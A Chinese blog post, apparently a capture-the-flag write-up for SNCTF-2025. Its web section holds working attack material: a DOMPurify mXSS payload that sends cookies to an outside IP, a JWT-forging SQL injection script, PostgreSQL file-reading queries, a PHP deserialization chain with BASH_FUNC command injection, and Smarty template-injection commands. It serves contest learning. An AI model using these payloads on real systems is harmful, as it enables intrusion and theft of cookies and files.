SNCTF-2025

tiran Lv2

MISC-Catch me if you can

提示贴吧

进入到github,贴吧说了是antibypass,进入项目

qq号搜索进入到空间留言板

MISC-是谁???

通过010打开

后面是个zip,前面是一个倒置的png头我们找个在线网站倒回去

高被改了,改回去

(那个zip没用)

MISC-签到

随波逐流一把梭

Crypto-myEndSignin

用win自带的就行

WEB-A Easy XSS

cve-2025-26791

DOMPurify 版本 3.2.4 之前存在一个不正确的模板字面量正则表达式,这可能导致变异跨站脚本攻击(mXSS)

找个现成的payload改一改就ok了

1
2
3
4
5
6
7
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! \${
</style>
}
<foo-b id="><img src onerror=window.open('http://47.**.**.**/?id='+document.cookie)>">hmm...</foo-b>
</a></table></li></mi></foo-test></math>

(由于之前做过,所以抢了个一血)

WEB-Motto

/mymottos路由存在sql注入

由于泄露了jwt密钥,我们可以直接修改jwt内容了,(虽然/changeNickName路由也可以改,但是麻烦)

我们可以拷打ai写一个转发脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request
import jwt
import time
import requests

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def forward_traffic():
# 获取客户端请求中的a参数
a_param = request.args.get('a') or request.form.get('a')


# 构造转发目标URL

JWT_KEY = "This is yliken"
TARGET = "http://38.55.99.195:33737/mymottos"

# 按 Go 代码的 EnJwt 规则构造 claims
claims = {
"username": "1",
"nickname": a_param,
"iat": int(time.time()), # Go 端 time.Now() 是 int 时间戳
"exp": int(time.time()) + 30 * 60 # 30分钟有效期
}

# 生成 JWT(HS256 签名)
token = jwt.encode(claims, JWT_KEY, algorithm="HS256")

# 发起请求
cookies = {
"yliken_cookie": token
}
resp = requests.get(TARGET, cookies=cookies)
print(resp.text)
return resp.content

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

将本地a参数编码后发送,这样我们就可以是用sqlmap一把梭了(理想很美好,现实很骨感)

嗯?为空?看看别的表

嗯?又有了?我最开始以为是sqlmap问题,我又尝试手注payload如下

1
000' union select null,thisTableSaveFlag,null from atablecalledflag;-- 

还是不行(就这小破玩意卡了我很久)

通过搜索我们找到了几个函数

1
2
3
4
5
pg_read_file('/etc/passwd') //读文件

pg_ls_dir('/') //列目录

select setting from pg_settings where name='data_directory'; //PostgreSQL的数据目录

所以我们结合起来

1
2
3
4
5
6
7
8
000' union select null,setting,null from pg_settings where name='data_directory';-- 
得到/var/lib/postgresql/data

000' union select null,pg_ls_dir('/var/lib/postgresql/data/'),null;--
通过列目录发现postgresql.log

000' union select null,pg_read_file('/var/lib/postgresql/data/postgresql.log'),null;--

不想看丢给ai

奶奶滴

1
000' union select null,"thisTableSaveFlag",null from atablecalledflag;-- 

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import jwt
import time
import requests

# 已知的 JWT 密钥
JWT_KEY = "This is yliken"
TARGET = "http://38.55.99.195:33737/mymottos"

# 构造注入 payload
payload_sql = """000' union select null,"thisTableSaveFlag",null from atablecalledflag;-- """
# 按 Go 代码的 EnJwt 规则构造 claims
claims = {
"username": "1",
"nickname": payload_sql,
"iat": int(time.time()), # Go 端 time.Now() 是 int 时间戳
"exp": int(time.time()) + 30 * 60 # 30分钟有效期
}

# 生成 JWT(HS256 签名)
token = jwt.encode(claims, JWT_KEY, algorithm="HS256")

# 发起请求
cookies = {
"yliken_cookie": token
}
resp = requests.get(TARGET, cookies=cookies)
print(resp.text)

WEB-NbcPhotogallery Revenge(复现)

一模一样我没找到

当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog

首先创建一个phar文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('ls /');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

随后压缩

1
gzip -c exploit.phar > test.phar.gz

这样可以看到关键字已经完全消失了

WEB-Signin

给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
error_log('0');
class Axuaoij{
public $aauxnjh;
public $aakmlnh;
function __invoke(){
if($this->aakmlnh == "asdasd"){
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"flag?\"");
}else{
$this->aauxnjh=system("php://filter/convert.base64-encode/resource=ffflag.php");
echo $this->aauxnjh;
}

}

}

class ghkkmnh{
public $bsyahy;
public $bsyahg;

function __get($key){
($this->bsyahg)();
return "666";
}
function __call($method, $args){
$this->bsyahy='$flag2';

}
}

class Cghmayb{
protected $caxjyh;
protected $source;
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
function __toString(){
$this->caxjyh->getStr;
return "Good Job!";
}
}
class Dakmhn{
public $ahnkjuh;
public $asxjjw;

public $password;
public function __destruct()
{
if ($this->password == "dddcxsw") {
$this->beginassd();
echo '666';
}else{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->ahnkjuh)){
$asxjjw='ajxgyj';
}
}
}
public function beginassd(){
$this->asxjjw='$flag';

}
}
$a = $_POST['a'];
if(!preg_match("/^[Oa]:[\d]+/i", $a)){
unserialize($a);
}
?>

先找利用点

1
2
3
4
5
6
又是
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
又是
system("echo \"flag?\"");

详情

SICTF_Round-web-100%_upload

payload

1
?get[BASH_FUNC_echo%25%25]=() { ls / >> /var/www/html/flag.txt;}

这就是我们rce的点

然后搓链子

搓到最后发现

1
2
3
if(!preg_match("/^[Oa]:[\d]+/i", $a)){
unserialize($a);
}

好像使用O:+数字不好使,直接改C呢,不对好像进不去wekup(当时入口找的wekeup),然后重写链子(链子不难就不细说了)

1
2
3
4
5
$b = new Dakmhn;
$b->ahnkjuh = new Cghmayb;
$b->ahnkjuh->caxjyh = new ghkkmnh;
$b->ahnkjuh->caxjyh->bsyahg = new Axuaoij;
$b->ahnkjuh->caxjyh->bsyahg->aakmlnh = "asdasd";

欸不对,进不去搜索发现

[愚人杯3rd-easy_php] - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/04/02/愚人杯3rd [easy_php]/)

就是你把O改为C后是没办法有属性的

使用再改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php

class Axuaoij{
public $aauxnjh;
public $aakmlnh;
function __invoke(){//1
if($this->aakmlnh == "asdasd"){
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
echo 1;
system("echo \"flag?\"");//1
}

else{
echo 2;
$this->aauxnjh=system("php://filter/convert.base64-encode/resource=ffflag.php");
echo $this->aauxnjh;
}

}

}

class ghkkmnh{
public $bsyahy;
public $bsyahg;

function __get($key){//2
($this->bsyahg)();//1
return "666";
}
function __call($method, $args){
$this->bsyahy='$flag2';

}
}

class Cghmayb{
public $caxjyh;
public $source;
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
function __toString(){//3
$this->caxjyh->getStr;//2
return "Good Job!";
}
}
class Dakmhn{
public $ahnkjuh;
public $asxjjw;

public $password;
public function __destruct()//4
{
if ($this->password == "dddcxsw") {
$this->beginassd();
echo '666';
}else{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->ahnkjuh)){//3
$asxjjw='ajxgyj';
}
}
}
public function beginassd(){
$this->asxjjw='$flag';

}
}



$b = new Dakmhn;
$b->ahnkjuh = new Cghmayb;
$b->ahnkjuh->caxjyh = new ghkkmnh;
$b->ahnkjuh->caxjyh->bsyahg = new Axuaoij;
$b->ahnkjuh->caxjyh->bsyahg->aakmlnh = "asdasd";


$a = serialize(new ArrayObject($b));
echo $a;

?>

输出

1
C:11:"ArrayObject":231:{x:i:0;O:6:"Dakmhn":3:{s:7:"ahnkjuh";O:7:"Cghmayb":2:{s:6:"caxjyh";O:7:"ghkkmnh":2:{s:6:"bsyahy";N;s:6:"bsyahg";O:7:"Axuaoij":2:{s:7:"aauxnjh";N;s:7:"aakmlnh";s:6:"asdasd";}}s:6:"source";N;}s:6:"asxjjw";N;s:8:"password";N;};m:a:0:{}}

将caxjyh属性与source属性改为protected权限并url编码

1
C%3A11%3A%22ArrayObject%22%3A237%3A%7Bx%3Ai%3A0%3BO%3A6%3A%22Dakmhn%22%3A3%3A%7Bs%3A7%3A%22ahnkjuh%22%3BO%3A7%3A%22Cghmayb%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00caxjyh%22%3BO%3A7%3A%22ghkkmnh%22%3A2%3A%7Bs%3A6%3A%22bsyahy%22%3BN%3Bs%3A6%3A%22bsyahg%22%3BO%3A7%3A%22Axuaoij%22%3A2%3A%7Bs%3A7%3A%22aauxnjh%22%3BN%3Bs%3A7%3A%22aakmlnh%22%3Bs%3A6%3A%22asdasd%22%3B%7D%7Ds%3A9%3A%22%00%2A%00source%22%3BN%3B%7Ds%3A6%3A%22asxjjw%22%3BN%3Bs%3A8%3A%22password%22%3BN%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

然后访问flag.txt

发现还是那个页面

所以直接把内容写在index.php就好了

最终答案

1
2
3
http://38.55.99.195:33745/?get[BASH_FUNC_echo%25%25]=() { cat /f* >> /var/www/html/index.php;}
post:
a=C%3A11%3A%22ArrayObject%22%3A237%3A%7Bx%3Ai%3A0%3BO%3A6%3A%22Dakmhn%22%3A3%3A%7Bs%3A7%3A%22ahnkjuh%22%3BO%3A7%3A%22Cghmayb%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00caxjyh%22%3BO%3A7%3A%22ghkkmnh%22%3A2%3A%7Bs%3A6%3A%22bsyahy%22%3BN%3Bs%3A6%3A%22bsyahg%22%3BO%3A7%3A%22Axuaoij%22%3A2%3A%7Bs%3A7%3A%22aauxnjh%22%3BN%3Bs%3A7%3A%22aakmlnh%22%3Bs%3A6%3A%22asdasd%22%3B%7D%7Ds%3A9%3A%22%00%2A%00source%22%3BN%3B%7Ds%3A6%3A%22asxjjw%22%3BN%3Bs%3A8%3A%22password%22%3BN%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

WEB-Smarty Boy

禁用了f12啥的,可以从菜单栏进开发者选项

有几个被混淆的js,丢ai

发现了一个chunck-CJSIOB.js

然后登陆进去,回显ip,改xff为49,确定存在ssti,黑名单不是很严随便找找绕绕就ok(cookic时间好短QAQ)

1
{if passthru('l\s /')}{/if}

读发现权限不够,要提权

1
{if passthru('find / -perm -u=s -type f 2>/dev/null')}{/if}

1
{if passthru('/usr/local/readflag /flag')}{/if}

WEB-ez_upload

是一个登陆框密码无所谓随便输一个都能进

进去后给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
show_source(__FILE__);

if (isset($_GET["file"])) {
$file = $_GET["file"];

// 禁止包含flag
if (preg_match("/flag/i", $file)) {
die("no flag !!!");
}

// 禁止伪协议
$blacklist_protocols = ['data://', 'filter://', 'php://', 'zip://', 'glob://', 'phar://'];

foreach ($blacklist_protocols as $proto) {
if (stripos($file, $proto) !== false) {
die("No allowed protocol in file path!");
}
}

include $file;
}

题目提示文件上传,很容易想到session文件上传加包含

深入浅出带你学习利用session.upload_progress进行文件包含利用session.upload_prog - 掘金

写一个前端上传

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>
<form action="http://38.55.99.195:33768/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

然后包含session文件/tmp/sessions/sess_ID(我最开始以为在/var/lib/php/sessionsQWQ)

WEB-video

随便输个密码就进去了

RE-Supplementary signature

(web手除了web啥都在做)

首先进入main函数,找到密文

找到了加密的地方

一个函数一个函数看

先是经过了一个base64,base表被上面替换了

然后

  • 标题: SNCTF-2025
  • 作者: tiran
  • 创建于 : 2025-08-10 18:41:44
  • 更新于 : 2025-08-11 10:58:07
  • 链接: https://www.tiran.cc/2025/08/10/SNCTF-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。